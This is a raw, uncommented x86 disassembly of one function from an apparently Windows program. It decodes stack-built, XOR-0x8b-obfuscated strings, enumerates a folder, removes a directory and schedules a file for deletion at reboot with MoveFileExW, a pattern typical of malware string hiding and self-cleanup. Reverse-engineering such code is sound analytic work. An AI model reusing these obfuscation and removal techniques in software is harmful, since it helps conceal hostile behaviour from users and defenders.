lea eax, [ebp - 0x260]
mov ecx, esp
push dword [ebp - 0x4b4]
mov dword [ecx], 0
push eax
lea eax, [ebp - 0x2cc]
mov dword [ecx + 4], 0
push eax
push 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x6d0]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
je 0x489249
xor eax, eax
mov ecx, ebx
mov dword [ebp - 0x6c4], eax
xor edi, edi
mov dword [ebp - 0x6c0], eax
mov dword [ebp - 0x6bc], eax
mov dword [ebp - 0x6c4], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x6c0], eax
mov dword [ebp - 0x6bc], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x487ef1
sub ecx, edx
je 0x487f61
lea esp, [esp]
mov al, byte [ebx + edi]
lea ecx, [ebp - 0x6c4]
xor al, 0x8b
mov byte [ebp - 0x259], al
lea eax, [ebp - 0x259]
push eax
call fcn.0046daf0
mov ecx, ebx
inc edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x487f23
sub ecx, edx
cmp edi, ecx
jb 0x487f00
mov eax, dword [ebp - 0x6c4]
test eax, eax
je 0x487f61
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x6c4], 0
mov dword [ebp - 0x6c0], 0
mov dword [ebp - 0x6bc], 0
mov eax, dword [ebp - 0x6d0]
test eax, eax
je 0x487f92
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x6d0], 0
mov dword [ebp - 0x6cc], 0
mov dword [ebp - 0x6c8], 0
mov eax, dword [ebp - 0x674]
test eax, eax
je 0x487fc3
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x674], 0
mov dword [ebp - 0x670], 0
mov dword [ebp - 0x66c], 0
push esi
lea ecx, [ebp - 0x4b4]
mov dword [ebp - 0x2c4], 0x34415441
mov dword [ebp - 0x2c0], 0x6b6b6a4e
mov dword [ebp - 0x2bc], 0x2b6f6a44
mov dword [ebp - 0x2b8], 0x7955534e
mov dword [ebp - 0x2b4], 0x77305449
mov dword [ebp - 0x2b0], 0x69515343
mov dword [ebp - 0x2ac], 0x6a6b7962
mov dword [ebp - 0x2a8], 0x53596d50
mov dword [ebp - 0x2a4], 0x494d4247
mov dword [ebp - 0x2a0], 0x5634694e
mov dword [ebp - 0x29c], 0x4259794e
mov dword [ebp - 0x298], 0x73784348
mov dword [ebp - 0x294], 0x686c784d
mov dword [ebp - 0x290], 0x65674142
mov dword [ebp - 0x28c], 0x376c334c
mov dword [ebp - 0x288], 0x7a515241
mov dword [ebp - 0x284], 0x7177334b
mov dword [ebp - 0x280], 0x6749774e
mov dword [ebp - 0x27c], 0x6d776945
mov dword [ebp - 0x278], 0x42636842
mov dword [ebp - 0x274], 0x45773241
mov dword [ebp - 0x270], 0x72346847
mov dword [ebp - 0x26c], 0x6434544b
mov dword [ebp - 0x268], 0x41675142
mov dword [ebp - 0x264], 0x78414141
call fcn.004aec30
sub esp, 0xc
mov ecx, esp
mov edi, dword [eax]
lea eax, [ebp - 0x260]
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
push dword [ebp - 0x4b4]
push eax
lea eax, [ebp - 0x2c4]
push eax
push 0
call fcn.004660a0
lea eax, [ebp - 0x704]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
je 0x489249
xor eax, eax
mov ecx, edi
mov dword [ebp - 0x6f8], eax
xor esi, esi
mov dword [ebp - 0x6f4], eax
mov dword [ebp - 0x6f0], eax
mov dword [ebp - 0x6f8], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x6f4], eax
mov dword [ebp - 0x6f0], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x488146
sub ecx, edx
je 0x488181
mov al, byte [esi + edi]
lea ecx, [ebp - 0x6f8]
xor al, 0x8b
mov byte [ebp - 0x259], al
lea eax, [ebp - 0x259]
push eax
call fcn.0046daf0
mov ecx, edi
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x488174
sub ecx, edx
cmp esi, ecx
jb 0x488151
lea ecx, [ebp - 0x6f8]
call fcn.00467b10
lea ecx, [ebp - 0x704]
call fcn.00467ae0
lea ecx, [ebp - 0x4b4]
call fcn.004679f0
mov dword [ebp - 0x668], 1
lea ecx, [ebp - 0x634]
call fcn.004b5930
mov ebx, dword [ebp - 0x6ec]
lea eax, [ebp - 0x258]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x4881da
mov ebx, dword [ebp - 0x648]
jmp 0x4851f0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x48875b
mov dword [ebp - 0x2f0], 0x6d634341
mov dword [ebp - 0x2ec], 0x68394450
mov dword [ebp - 0x2e8], 0x7331544a
mov dword [ebp - 0x2e4], 0x6f386946
mov dword [ebp - 0x2e0], 0x7345674b
mov dword [ebp - 0x2dc], 0x44385450
mov dword [ebp - 0x2d8], 0x706b434b
mov dword [ebp - 0x2d4], 0x33455365
mov dword [ebp - 0x2d0], 0x31647a4f
mov dword [ebp - 0x2cc], 0x73306d4e
mov dword [ebp - 0x2c8], 0x35556e4b
mov dword [ebp - 0x2c4], 0x6b384450
mov dword [ebp - 0x2c0], 0x6c556a61
mov dword [ebp - 0x2bc], 0x314d4350
mov dword [ebp - 0x2b8], 0x6e464759
mov dword [ebp - 0x2b4], 0x50673344
mov dword [ebp - 0x2b0], 0x2f4a4463
mov dword [ebp - 0x2ac], 0x7a386844
mov dword [ebp - 0x2a8], 0x716b574b
mov dword [ebp - 0x2a4], 0x7a594344
mov dword [ebp - 0x2a0], 0x66493244
mov dword [ebp - 0x29c], 0x356b4459
mov dword [ebp - 0x298], 0x4773684f
mov dword [ebp - 0x294], 0x31567745
mov dword [ebp - 0x290], 0x426f7946
mov dword [ebp - 0x28c], 0x4f4d7750
mov dword [ebp - 0x288], 0x5a515864
mov dword [ebp - 0x284], 0x6c355749
mov dword [ebp - 0x280], 0x6e4d784a
mov dword [ebp - 0x27c], 0x54345443
mov dword [ebp - 0x278], 0x4430684a
mov dword [ebp - 0x274], 0x4a6b514e
mov dword [ebp - 0x270], 0x35644243
mov dword [ebp - 0x26c], 0x43636845
mov dword [ebp - 0x268], 0x36787750
mov dword [ebp - 0x264], 0x4141674b
mov word [ebp - 0x260], 0x4441
mov byte [ebp - 0x25e], 0x30
mov dword [ebp - 0x5d4], 0x34415441
mov dword [ebp - 0x5d0], 0x6b6b6a4e
mov dword [ebp - 0x5cc], 0x2b6f6a44
mov dword [ebp - 0x5c8], 0x7955534e
mov dword [ebp - 0x5c4], 0x77305449
mov dword [ebp - 0x5c0], 0x69515343
mov dword [ebp - 0x5bc], 0x6a6b7962
mov dword [ebp - 0x5b8], 0x79776750
mov dword [ebp - 0x5b4], 0x684e5165
mov dword [ebp - 0x5b0], 0x6f6b6a43
mov dword [ebp - 0x5ac], 0x31777a64
mov dword [ebp - 0x5a8], 0x6d344249
mov dword [ebp - 0x5a4], 0x564d6d42
mov dword [ebp - 0x5a0], 0x7830414e
mov dword [ebp - 0x59c], 0x724d7746
mov dword [ebp - 0x598], 0x73347745
mov dword [ebp - 0x594], 0x37526a45
mov dword [ebp - 0x590], 0x69426a62
mov dword [ebp - 0x58c], 0x43516841
mov dword [ebp - 0x588], 0x3078534b
mov dword [ebp - 0x584], 0x61734464
mov dword [ebp - 0x580], 0x49346e46
mov dword [ebp - 0x57c], 0x37644444
mov dword [ebp - 0x578], 0x2f564348
mov dword [ebp - 0x574], 0x2b787947
mov dword [ebp - 0x570], 0x4830514c
mov dword [ebp - 0x56c], 0x6d636849
mov dword [ebp - 0x568], 0x6a39414d
mov dword [ebp - 0x564], 0x6839794a
mov dword [ebp - 0x560], 0x6b636765
mov dword [ebp - 0x55c], 0x6a514766
mov dword [ebp - 0x558], 0x55675143
mov dword [ebp - 0x554], 0x7163444d
mov dword [ebp - 0x550], 0x32554848
mov dword [ebp - 0x54c], 0x68676a47
mov dword [ebp - 0x548], 0x31356a43
mov dword [ebp - 0x544], 0x2b6f4347
mov dword [ebp - 0x540], 0x48494250
mov dword [ebp - 0x53c], 0x47737766
mov dword [ebp - 0x538], 0x6e556a4e
mov dword [ebp - 0x534], 0x68644349
mov dword [ebp - 0x530], 0x6d734847
mov dword [ebp - 0x52c], 0x2f51674d
lea eax, [ebp - 0x25d]
mov dword [ebp - 0x528], 0x5759524f
push eax
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x524], 0x54414350
push eax
lea ecx, [ebp - 0x70c]
mov dword [ebp - 0x520], 0x74674466
mov dword [ebp - 0x51c], 0x48305446
mov dword [ebp - 0x518], 0x45736a4f
mov dword [ebp - 0x514], 0x2f5a6842
mov dword [ebp - 0x510], 0x305a794c
mov dword [ebp - 0x50c], 0x4330544c
mov dword [ebp - 0x508], 0x746b7859
mov dword [ebp - 0x504], 0x4451444b
mov dword [ebp - 0x500], 0x3156445a
mov dword [ebp - 0x4fc], 0x34346941
mov dword [ebp - 0x4f8], 0x78703344
mov dword [ebp - 0x4f4], 0x72777841
mov dword [ebp - 0x4f0], 0x69455141
mov dword [ebp - 0x4ec], 0x44736766
mov dword [ebp - 0x4e8], 0x476f4146
mov dword [ebp - 0x4e4], 0x6b5a7948
mov dword [ebp - 0x4e0], 0x6f385259
mov dword [ebp - 0x4dc], 0x2b786841
mov dword [ebp - 0x4d8], 0x7751515a
mov dword [ebp - 0x4d4], 0x576f7a4e
mov dword [ebp - 0x4d0], 0x72496a41
mov dword [ebp - 0x4cc], 0x5045434a
mov dword [ebp - 0x4c8], 0x67515444
mov dword [ebp - 0x4c4], 0x48386d4c
mov dword [ebp - 0x4c0], 0x6b774842
mov dword [ebp - 0x4bc], 0x41414141
mov word [ebp - 0x4b8], 0x4176
call fcn.004675e0
push 0
lea ecx, [ebp - 0x63e]
mov esi, eax
call fcn.00467470
sub esp, 0xc
mov ecx, esp
push eax
push dword [esi + 4]
push dword [esi]
call fcn.004676d0
lea eax, [ebp - 0x6d0]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
mov edi, eax
lea ecx, [ebp - 0x714]
lea eax, [ebp - 0x4b6]
push eax
lea eax, [ebp - 0x5d4]
push eax
call fcn.004675e0
push 0
lea ecx, [ebp - 0x63d]
mov esi, eax
call fcn.00467470
sub esp, 0xc
mov ecx, esp
push eax
push dword [esi + 4]
push dword [esi]
call fcn.004676d0
lea eax, [ebp - 0x704]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
push 0xc
lea ecx, [ebp - 0x674]
call fcn.0046b880
lea ecx, [ebp - 0x674]
call fcn.00467710
xor esi, esi
mov ecx, edi
lea edx, [ecx + 1]
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4886f0
sub ecx, edx
je 0x488730
jmp 0x488700
mov al, byte [esi + edi]
lea ecx, [ebp - 0x674]
xor al, 0x8b
mov byte [ebp - 0x259], al
lea eax, [ebp - 0x259]
push eax
call fcn.0046daf0
mov ecx, edi
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x488723
sub ecx, edx
cmp esi, ecx
jb 0x488700
lea ecx, [ebp - 0x674]
call fcn.00467b10
lea ecx, [ebp - 0x704]
call fcn.00467ae0
lea ecx, [ebp - 0x6d0]
call fcn.00467ae0
mov dword [ebp - 0x668], 1
mov dword [ebp - 0x4b0], 0x36516a42
mov dword [ebp - 0x4ac], 0x6e30324a
mov dword [ebp - 0x4a8], 0x6f307a49
mov dword [ebp - 0x4a4], 0x6f634363
mov dword [ebp - 0x4a0], 0x6d49794e
mov dword [ebp - 0x49c], 0x6c35794e
mov dword [ebp - 0x498], 0x6777794a
mov dword [ebp - 0x494], 0x32564350
mov dword [ebp - 0x490], 0x37676a4b
mov dword [ebp - 0x48c], 0x7351694c
mov dword [ebp - 0x488], 0x6b516d49
mov dword [ebp - 0x484], 0x5367794f
mov dword [ebp - 0x480], 0x354a7a50
mov dword [ebp - 0x47c], 0x79634343
mov dword [ebp - 0x478], 0x6f6b6e66
mov dword [ebp - 0x474], 0x2f63794d
mov dword [ebp - 0x470], 0x61494162
mov dword [ebp - 0x46c], 0x6b5a3243
mov dword [ebp - 0x468], 0x67747742
mov dword [ebp - 0x464], 0x776c534a
mov dword [ebp - 0x460], 0x36676a42
mov dword [ebp - 0x45c], 0x32557943
mov dword [ebp - 0x458], 0x45637963
mov dword [ebp - 0x454], 0x324d5366
mov dword [ebp - 0x450], 0x2b39524a
mov dword [ebp - 0x44c], 0x6e30774b
mov dword [ebp - 0x448], 0x68496e63
mov dword [ebp - 0x444], 0x2b675262
mov dword [ebp - 0x440], 0x51677a49
mov dword [ebp - 0x43c], 0x48774245
mov dword [ebp - 0x438], 0x79414343
mov dword [ebp - 0x434], 0x32394249
mov dword [ebp - 0x430], 0x59495144
mov dword [ebp - 0x42c], 0x694d774a
mov dword [ebp - 0x428], 0x61594444
mov dword [ebp - 0x424], 0x49344848
mov dword [ebp - 0x420], 0x3931684c
mov dword [ebp - 0x41c], 0x6a343244
mov dword [ebp - 0x418], 0x546b6d66
mov dword [ebp - 0x414], 0x6d517763
mov dword [ebp - 0x410], 0x32454343
mov dword [ebp - 0x40c], 0x6773514a
mov dword [ebp - 0x408], 0x3149414c
mov dword [ebp - 0x404], 0x5a634341
mov dword [ebp - 0x400], 0x6b517759
mov dword [ebp - 0x3fc], 0x3273334d
mov dword [ebp - 0x3f8], 0x69307843
mov dword [ebp - 0x3f4], 0x35637743
mov dword [ebp - 0x3f0], 0x6e73674b
mov dword [ebp - 0x3ec], 0x374d6764
mov dword [ebp - 0x3e8], 0x56554161
mov dword [ebp - 0x3e4], 0x32747949
mov dword [ebp - 0x3e0], 0x7238544f
mov dword [ebp - 0x3dc], 0x49346a4f
mov dword [ebp - 0x3d8], 0x446b6e41
mov dword [ebp - 0x3d4], 0x76595766
mov dword [ebp - 0x3d0], 0x59387741
mov dword [ebp - 0x3cc], 0x4a59694c
mov dword [ebp - 0x3c8], 0x77456947
mov dword [ebp - 0x3c4], 0x3473444a
mov dword [ebp - 0x3c0], 0x426b4450
mov dword [ebp - 0x3bc], 0x73394244
mov dword [ebp - 0x3b8], 0x7459524c
mov dword [ebp - 0x3b4], 0x5038585a
mov dword [ebp - 0x3b0], 0x7859514f
mov dword [ebp - 0x3ac], 0x2f494348
mov dword [ebp - 0x3a8], 0x76457946
mov dword [ebp - 0x3a4], 0x2f416a48
mov dword [ebp - 0x3a0], 0x6741534b
mov dword [ebp - 0x39c], 0x7a30444e
mov dword [ebp - 0x398], 0x616f5144
mov dword [ebp - 0x394], 0x54455149
mov dword [ebp - 0x390], 0x38525150
mov dword [ebp - 0x38c], 0x7a4d5846
mov dword [ebp - 0x388], 0x75346741
mov dword [ebp - 0x384], 0x64777748
mov dword [ebp - 0x380], 0x69414145
mov dword [ebp - 0x37c], 0x58414246
mov dword [ebp - 0x378], 0x6c686d4f
mov dword [ebp - 0x374], 0x64494246
mov dword [ebp - 0x370], 0x77307a46
lea eax, [ebp - 0x2f1]
mov dword [ebp - 0x36c], 0x30353348
push eax
lea eax, [ebp - 0x4b0]
mov dword [ebp - 0x368], 0x35705742
push eax
lea ecx, [ebp - 0x70c]
mov dword [ebp - 0x364], 0x2f647a47
mov dword [ebp - 0x360], 0x78677949
mov dword [ebp - 0x35c], 0x2f675446
mov dword [ebp - 0x358], 0x4e554842
mov dword [ebp - 0x354], 0x6a34414b
mov dword [ebp - 0x350], 0x6f457747
mov dword [ebp - 0x34c], 0x6b6f674f
mov dword [ebp - 0x348], 0x47414148
mov dword [ebp - 0x344], 0x7a42534f
mov dword [ebp - 0x340], 0x4230784a
mov dword [ebp - 0x33c], 0x57345866
mov dword [ebp - 0x338], 0x6f775243
mov dword [ebp - 0x334], 0x32384148
mov dword [ebp - 0x330], 0x3968324a
mov dword [ebp - 0x32c], 0x56417a50
mov dword [ebp - 0x328], 0x69357947
mov dword [ebp - 0x324], 0x7751784a
mov dword [ebp - 0x320], 0x6c736849
mov dword [ebp - 0x31c], 0x7567534f
mov dword [ebp - 0x318], 0x67775442
mov dword [ebp - 0x314], 0x31556e4a
mov dword [ebp - 0x310], 0x46735841
mov dword [ebp - 0x30c], 0x5159794e
mov dword [ebp - 0x308], 0x75554844
mov dword [ebp - 0x304], 0x2b733348
mov dword [ebp - 0x300], 0x4b634447
mov dword [ebp - 0x2fc], 0x7263414c
mov dword [ebp - 0x2f8], 0x41416747
mov word [ebp - 0x2f4], 0x5341
mov byte [ebp - 0x2f2], 0x77
mov dword [ebp - 0x2ac], 0x34415441
mov dword [ebp - 0x2a8], 0x6b6b6a4e
mov dword [ebp - 0x2a4], 0x2b6f6a44
mov dword [ebp - 0x2a0], 0x7955534e
mov dword [ebp - 0x29c], 0x77305449
mov dword [ebp - 0x298], 0x69515343
mov dword [ebp - 0x294], 0x6a6b7962
mov dword [ebp - 0x290], 0x68416950
mov dword [ebp - 0x28c], 0x2b6f684d
mov dword [ebp - 0x288], 0x504d694b
mov dword [ebp - 0x284], 0x3638794b
mov dword [ebp - 0x280], 0x6e49534a
mov dword [ebp - 0x27c], 0x34564245
mov dword [ebp - 0x278], 0x76455145
mov dword [ebp - 0x274], 0x2f637944
mov dword [ebp - 0x270], 0x77394366
mov dword [ebp - 0x26c], 0x38566e48
mov dword [ebp - 0x268], 0x4167444d
mov dword [ebp - 0x264], 0x66414141
call fcn.004675e0
push 0
lea ecx, [ebp - 0x63d]
mov esi, eax
call fcn.00467470
sub esp, 0xc
mov ecx, esp
push eax
push dword [esi + 4]
push dword [esi]
call fcn.004676d0
lea eax, [ebp - 0x6d0]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
mov edi, eax
lea ecx, [ebp - 0x714]
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x2ac]
push eax
call fcn.004675e0
mov esi, eax
push 0
lea ecx, [ebp - 0x63e]
call fcn.00467470
sub esp, 0xc
mov ecx, esp
push eax
push dword [esi + 4]
push dword [esi]
call fcn.004676d0
lea eax, [ebp - 0x704]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
push 0xc
lea ecx, [ebp - 0x674]
call fcn.0046b880
lea ecx, [ebp - 0x674]
call fcn.00467710
mov ecx, edi
xor esi, esi
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x488d40
sub ecx, edx
je 0x488d80
jmp 0x488d50
mov al, byte [esi + edi]
lea ecx, [ebp - 0x674]
xor al, 0x8b
mov byte [ebp - 0x259], al
lea eax, [ebp - 0x259]
push eax
call fcn.0046daf0
mov ecx, edi
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x488d73
sub ecx, edx
cmp esi, ecx
jb 0x488d50
lea ecx, [ebp - 0x674]
call fcn.00467b10
lea ecx, [ebp - 0x704]
call fcn.00467ae0
lea ecx, [ebp - 0x6d0]
call fcn.00467ae0
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edi, dword [ebp - 0x668]
mov ebx, dword [ebp - 0x6b8]
mov ecx, ebx
call fcn.004c8380
test eax, eax
je 0x48920e
mov ecx, ebx
call fcn.004b8310
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x48920e
lea eax, [ebp - 0x25e]
mov dword [ebp - 0x2c0], 0x34415441
push eax
lea eax, [ebp - 0x2c0]
mov dword [ebp - 0x2bc], 0x6b6b6a4e
mov dword [ebp - 0x2b8], 0x74346a61
mov dword [ebp - 0x2b4], 0x6d68534f
mov dword [ebp - 0x2b0], 0x3759694b
mov dword [ebp - 0x2ac], 0x78674349
mov dword [ebp - 0x2a8], 0x31636a4c
mov dword [ebp - 0x2a4], 0x33415465
mov dword [ebp - 0x2a0], 0x33555449
mov dword [ebp - 0x29c], 0x4f6f6a4a
mov dword [ebp - 0x298], 0x74674848
mov dword [ebp - 0x294], 0x59677948
mov dword [ebp - 0x290], 0x76454149
mov dword [ebp - 0x28c], 0x524d7742
mov dword [ebp - 0x288], 0x3631544b
mov dword [ebp - 0x284], 0x66514366
mov dword [ebp - 0x280], 0x32635246
mov dword [ebp - 0x27c], 0x6b46424e
mov dword [ebp - 0x278], 0x51343242
mov dword [ebp - 0x274], 0x44346e46
mov dword [ebp - 0x270], 0x5951674b
mov dword [ebp - 0x26c], 0x506b544b
mov dword [ebp - 0x268], 0x61777750
mov dword [ebp - 0x264], 0x41414141
mov word [ebp - 0x260], 0x514b
mov dword [ebp - 0x580], 0x34415441
mov dword [ebp - 0x57c], 0x6b6b6a4e
mov dword [ebp - 0x578], 0x2b6f6a44
mov dword [ebp - 0x574], 0x7955534e
mov dword [ebp - 0x570], 0x77305449
mov dword [ebp - 0x56c], 0x69515343
mov dword [ebp - 0x568], 0x6a6b7962
mov dword [ebp - 0x564], 0x464d6750
mov dword [ebp - 0x560], 0x34305245
mov dword [ebp - 0x55c], 0x77415363
mov dword [ebp - 0x558], 0x676c5264
mov dword [ebp - 0x554], 0x69556e4d
mov dword [ebp - 0x550], 0x72636a41
mov dword [ebp - 0x54c], 0x33556741
mov dword [ebp - 0x548], 0x7a6f5148
mov dword [ebp - 0x544], 0x7073684e
mov dword [ebp - 0x540], 0x674d6e4d
mov dword [ebp - 0x53c], 0x39516746
mov dword [ebp - 0x538], 0x784d4349
mov dword [ebp - 0x534], 0x314a5244
mov dword [ebp - 0x530], 0x4e304245
mov dword [ebp - 0x52c], 0x3178534a
mov dword [ebp - 0x528], 0x44457963
mov dword [ebp - 0x524], 0x4b597a50
mov dword [ebp - 0x520], 0x47304447
mov dword [ebp - 0x51c], 0x6f6c4241
mov dword [ebp - 0x518], 0x3674514a
mov dword [ebp - 0x514], 0x30386747
mov dword [ebp - 0x510], 0x6a4d6a66
mov dword [ebp - 0x50c], 0x77704846
mov dword [ebp - 0x508], 0x5159674b
mov dword [ebp - 0x504], 0x79686945
mov dword [ebp - 0x500], 0x7651474a
mov dword [ebp - 0x4fc], 0x41385450
mov dword [ebp - 0x4f8], 0x47597750
mov dword [ebp - 0x4f4], 0x58495841
mov dword [ebp - 0x4f0], 0x34777964
mov dword [ebp - 0x4ec], 0x774d5145
mov dword [ebp - 0x4e8], 0x62597749
mov dword [ebp - 0x4e4], 0x4277524c
mov dword [ebp - 0x4e0], 0x73417949
mov dword [ebp - 0x4dc], 0x58557943
mov dword [ebp - 0x4d8], 0x49637950
mov dword [ebp - 0x4d4], 0x6b674348
mov dword [ebp - 0x4d0], 0x47676e4b
mov dword [ebp - 0x4cc], 0x5749444a
mov dword [ebp - 0x4c8], 0x6c674341
mov dword [ebp - 0x4c4], 0x58777841
mov dword [ebp - 0x4c0], 0x44345265
mov dword [ebp - 0x4bc], 0x41416764
mov word [ebp - 0x4b8], 0x4841
mov byte [ebp - 0x4b6], 0x34
push eax
lea ecx, [ebp - 0x70c]
call fcn.004675e0
push 0
lea ecx, [ebp - 0x63d]
mov esi, eax
call fcn.00467470
sub esp, 0xc
mov ecx, esp
push eax
push dword [esi + 4]
push dword [esi]
call fcn.004676d0
lea eax, [ebp - 0x6d0]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
mov edi, eax
lea ecx, [ebp - 0x714]
lea eax, [ebp - 0x4b5]
push eax
lea eax, [ebp - 0x580]
push eax
call fcn.004675e0
push 0
lea ecx, [ebp - 0x63e]
mov esi, eax
call fcn.00467470
sub esp, 0xc
mov ecx, esp
push eax
push dword [esi + 4]
push dword [esi]
call fcn.004676d0
lea eax, [ebp - 0x704]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
push 0xc
lea ecx, [ebp - 0x674]
call fcn.0046b880
lea ecx, [ebp - 0x674]
call fcn.00467710
mov ecx, edi
xor esi, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x489193
sub ecx, edx
je 0x4891d0
mov edi, edi
mov al, byte [esi + edi]
lea ecx, [ebp - 0x674]
xor al, 0x8b
mov byte [ebp - 0x259], al
lea eax, [ebp - 0x259]
push eax
call fcn.0046daf0
mov ecx, edi
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4891c3
sub ecx, edx
cmp esi, ecx
jb 0x4891a0
lea ecx, [ebp - 0x674]
call fcn.00467b10
lea ecx, [ebp - 0x704]
call fcn.00467ae0
lea ecx, [ebp - 0x6d0]
call fcn.00467ae0
cmp dword [ebp + 0x10], 0
je 0x489209
push 4
push 0
mov ecx, ebx
call fcn.004b8310
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov edi, 1
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0053d3a0
mov esp, ebp
pop ebp
ret
push str.invalid_vector_T__subscript
call fcn.0053af06
push 0x80004005
call fcn.00468960
push str.vector_T__too_long
call fcn.0053aed8
push 0x80070057
call fcn.00468960
mov ecx, eax
call fcn.0046b820
mov ecx, eax
call fcn.0046b830
int3